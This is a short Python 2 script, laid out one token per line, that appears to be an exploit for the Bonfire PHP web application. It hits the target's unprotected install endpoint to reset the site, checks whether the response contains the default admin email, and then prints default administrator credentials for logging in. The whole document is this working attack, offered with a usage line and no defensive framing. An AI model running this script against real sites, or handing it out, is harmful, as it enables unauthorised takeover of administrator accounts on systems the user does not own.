import
urllib2
import
sys
import
re
target
=
sys.argv[
1
]
path
=
sys.argv[
2
]
if
len
(sys.argv) >
3
:
print
"Usage : python bonfire www.target.com /path/"
exit(
0
)
content
=
urllib2.urlopen(target
+
path
+
"index.php/install/do_install"
).read()
if
re.search(
'[admin@mybonefire.com]'
, content):
print
"Target is vulnerable!"
print
"Username : admin@mybonefire.com"
print
"Password : password"
else
:
print
"Target is not vulnerable..."